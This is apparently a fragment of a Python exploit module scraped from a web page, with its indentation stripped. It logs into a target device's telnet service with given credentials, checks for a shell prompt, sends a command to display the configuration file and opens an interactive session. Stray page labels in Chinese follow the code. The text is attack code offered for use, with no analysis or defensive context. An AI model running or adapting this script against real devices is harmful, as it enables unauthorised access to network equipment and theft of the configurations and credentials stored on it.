def run(self):
try:
print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, 23, timeout=10)
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
if i != -1:
print_error("Exploit failed")
else:
if any(map(lambda x: x in res, ["#", "$", ">"])):
print_success("Authentication successful")
print_status("Displaying configuration file:")
tn.write(self.config + "\r\n")
tn.interact()
else:
print_error("Exploit failed")
tn.close()
except Exception:
print_error("Connection error: {}:{}".format(self.target, 23))
评论列表
文章目录